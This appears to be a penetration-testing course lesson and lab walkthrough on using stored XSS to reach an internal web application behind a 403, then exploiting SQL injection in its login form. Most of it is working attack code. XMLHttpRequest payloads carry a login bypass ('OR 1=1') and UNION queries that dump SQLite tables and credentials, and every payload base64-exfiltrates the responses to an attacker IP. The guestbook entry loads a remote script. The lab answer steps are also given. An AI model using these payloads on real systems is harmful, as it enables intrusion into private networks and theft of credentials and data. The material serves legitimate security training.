Exploiting internal Web Applications I

In the last section, we discussed using an XSS vulnerability to exfiltrate data from internal web applications. In this section, we will use the XSS vulnerability to identify and exploit a security vulnerability in an entirely different web application located within the victim's private network.

Identifying the Vulnerability

We will start with the same base XSS payload used in the previous sections and the exfiltration of the /admin.php endpoint. We will omit it here since we discussed the corresponding payload in the previous sections.

When the victim triggers the XSS vulnerability, the response is exfiltrated to the exfiltration server. We can see that the admin endpoint contains a reference to an internal web application at https://internal.internal-webapps-1.htb:

HTML section with 'Administrator Dashboard' title and a note to admins about user management moving to a separate web application with a link.

If we attempt to access the page directly, we are blocked:

HTTP GET request to internal.internal-webapps-1.htb; response shows 403 Forbidden error.

Thus, let us use the XSS vulnerability to enumerate the web application just like we did with the internal API in the last section. We will start by exfiltrating the index of the web application:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://internal.internal-webapps-1.htb/', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This reveals that the internal web application is protected by authentication, as the index consists of a login form:

HTML form for login with fields for username and password, a 'Remember me' checkbox, and a submit button.

The XSS vulnerability enables us to interact with the internal web application fully. We could try default passwords or brute-force additional endpoints. However, this section will focus on a SQL injection vulnerability. From the login form, we can construct a valid login POST request that the internal web application accepts. Let us try a simple SQL injection by sending a username that contains a single quote:

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("'test")}&pass=x`;
xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This results in the following response, confirming that the internal web application is vulnerable to SQL injection:

HTTP 500 - SQL Error

Exploiting the Vulnerability

We will exploit the SQL injection vulnerability by bypassing the login and dumping the database.

We will start with bypassing the authentication, which we can achieve with the username ' OR '1'='1'-- -:

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' OR '1'='1' -- -")}&pass=x`;
xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This reveals the following information in the post-login screen:

(1, 'admin', 'InternalAdmin2023!', 'This is the default admin account.')

The data looks like a username, password, and account description. Let us confirm this by dumping the entire user table. We can detect the database system by enumerating common payloads like any other SQL injection vulnerability. In our case, we are dealing with a SQLite database. Since there seem to be four columns in the output, we can use the following payload to dump all tables:

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' UNION SELECT 1,2,3,group_concat(tbl_name) FROM sqlite_master-- -")}&pass=x`;
xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Subsequently, we can dump the schema of the users table:

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' UNION SELECT 1,2,3,group_concat(sql) FROM sqlite_master WHERE name=\'users\'-- -")}&pass=x`;
xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This reveals the following database schema:

CREATE TABLE `users` (
	`id` int(11) NOT NULL,
	`username` varchar(256) NOT NULL,
	`password` longtext NOT NULL,
	`info` longtext NOT NULL
)

Lastly, we can dump the users table iteratively with the following payload:

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' UNION SELECT id,username,password,info FROM users-- -")}&pass=x`;
xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

We can also dump other tables in the database with the same methodology. This shows how powerful an XSS vulnerability is, as it allows us to target vulnerable web applications normally inaccessible by an external attacker. Since the payload is executed in the victim's browser, internal web applications can be accessed and thus targeted as well. For more details on SQL injection vulnerabilities, check out the Advanced SQL Injections module.

Note: Keep in mind that there needs to be either a CORS misconfiguration in the internal web application or a CORS configuration that enables the vulnerable web application to interact with the internal web application. Otherwise, the Same-Origin policy prevents accessing the response from the internal web application.

Exploiting internal Web Applications I Questions

Question 1: Exploit the XSS vulnerability to target the internal web application and obtain the flag.

  1. Add the necessary vHosts to your /etc/hosts file:

    sudo sh -c 'echo "10.129.177.173 exploitserver.htb internal-webapps-1.htb" >> /etc/hosts'
  2. Log in to the vulnerable site (https://internal-webapps-1.htb) using the credentials htb-stdnt:...!.

  3. Submit your base XSS payload as a guestbook entry:

    <script src="https://exploitserver.htb/exploit"></script>
  4. Prepare a payload on the exploit server (https://exploitserver.htb) that attempts to enumerate tables of the internal.internal-webapps-1.htb app by way of SQL injection. The payload should use the uname parameter with ' UNION SELECT 1,2,3,group_concat(tbl_name) FROM sqlite_master-- -.

    var xhr = new XMLHttpRequest();
    var params = `uname=${encodeURIComponent("' UNION SELECT 1,2,3,group_concat(tbl_name) FROM sqlite_master-- -")}&pass=x`;
    xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.send(params);
    
    var exfil = new XMLHttpRequest();
    exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
    exfil.send();
  5. After the victim triggers the payload, decode the exfiltrated data to identify the table names (e.g., users,secretdata).

  6. Adjust the payload on the exploit server to enumerate the schema of the secretdata table using ' UNION SELECT 1,2,3,group_concat(sql) FROM sqlite_master WHERE name=\'secretdata\'-- - in the uname parameter.

    var xhr = new XMLHttpRequest();
    var params = `uname=${encodeURIComponent("' UNION SELECT 1,2,3,group_concat(sql) FROM sqlite_master WHERE name=\'secretdata\'-- -")}&pass=x`;
    xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.send(params);
    
    var exfil = new XMLHttpRequest();
    exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
    exfil.send();
  7. Decode the exfiltrated data to reveal the schema of the secretdata table (e.g., CREATE TABLE 'secretdata' ('id' int(11) NOT NULL, 'data' longtext NOT NULL)).

  8. Adjust the payload on the exploit server to dump the contents of the secretdata table using ' UNION SELECT id,data,1,2 FROM secretdata-- - in the uname parameter.

    var xhr = new XMLHttpRequest();
    var params = `uname=${encodeURIComponent("' UNION SELECT id,data,1,2 FROM secretdata-- -")}&pass=x`;
    xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.send(params);
    
    var exfil = new XMLHttpRequest();
    exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
    exfil.send();
  9. After the victim triggers the payload, decode the exfiltrated data to find the flag.

Last updated